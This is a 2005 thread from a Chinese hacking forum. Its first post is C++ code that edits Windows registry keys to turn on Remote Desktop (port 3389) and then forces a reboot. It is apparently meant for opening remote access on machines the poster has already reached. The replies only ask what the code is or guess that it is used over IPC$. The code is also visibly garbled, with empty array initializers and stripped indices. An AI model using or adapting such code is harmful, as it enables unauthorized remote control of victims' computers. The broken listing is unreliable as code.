标题:
开3389代码(据说~)
[打印本页]
作者:
abmark
时间:
2005-2-18 22:50
标题:
开3389代码(据说~)
#include "windows.h" #include "iostream.h" void main(int argc, char* argv[]) { HKEY hKey; HANDLE hProcess, hToken; TOKEN_PRIVILEGES NewState; DWORD ProcessId, ReturnLength = 0; LUID luidPrivilegeLUID; LPCTSTR key[]={"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\netcache\\", "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\", "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", "SYSTEM\\CurrentControlSet\\Services\\TermDD\\", "SYSTEM\\CurrentControlSet\\Services\\TermService\\", "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", ".DEFAULT\\Keyboard Layout\\Toggle\\"}; HKEY head[]={HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE, HKEY_USERS}; DWORD type[] = ; LPCTSTR value[] = {"\x00\x00\x00\x00", "\x01\x00\x00\x00", "\x01\x00\x00\x00", "\x02\x00\x00\x00", "\x02\x00\x00\x00", "\x3d\x0d\x00\00", "2"}; DWORD length[] = {4, 4, 4, 4, 4, 4, 2}; LPCTSTR name[] = ; for(int i = 0; i < 2; i++) RegCreateKeyEx(head
,key
,0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey,NULL); for(i = 0; i < 7; i++) { if(::RegOpenKeyEx(head
, key
, 0, KEY_WRITE, &hKey) != ERROR_SUCCESS) { cout<<"Error Opening Register...\n"; return; } if(::RegSetValueEx(hKey, name
, 0, type
, (LPBYTE)value
, length
) != ERROR_SUCCESS) { cout<<"Error Writing Register...\n"; return; } } ProcessId = GetCurrentProcessId(); hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); if(!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken) ||!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID)) { cout<<"Error! Try iisreset.exe /reboot to reboot system!"; return; } NewState.PrivilegeCount = 1; NewState.Privileges[0].Luid = luidPrivilegeLUID; NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL)) ExitWindowsEx(EWX_FORCE | EWX_REBOOT, 0); return; }
作者:
wjp522
时间:
2005-2-21 03:18
标题:
开3389代码(据说~)
是哪种代码?
作者:
魅影-橙
时间:
2005-3-14 17:19
标题:
开3389代码(据说~)
看不明白
作者:
damnyou
时间:
2005-3-21 12:32
标题:
开3389代码(据说~)
IPC$改注册表?
欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)
Powered by Discuz! 7.2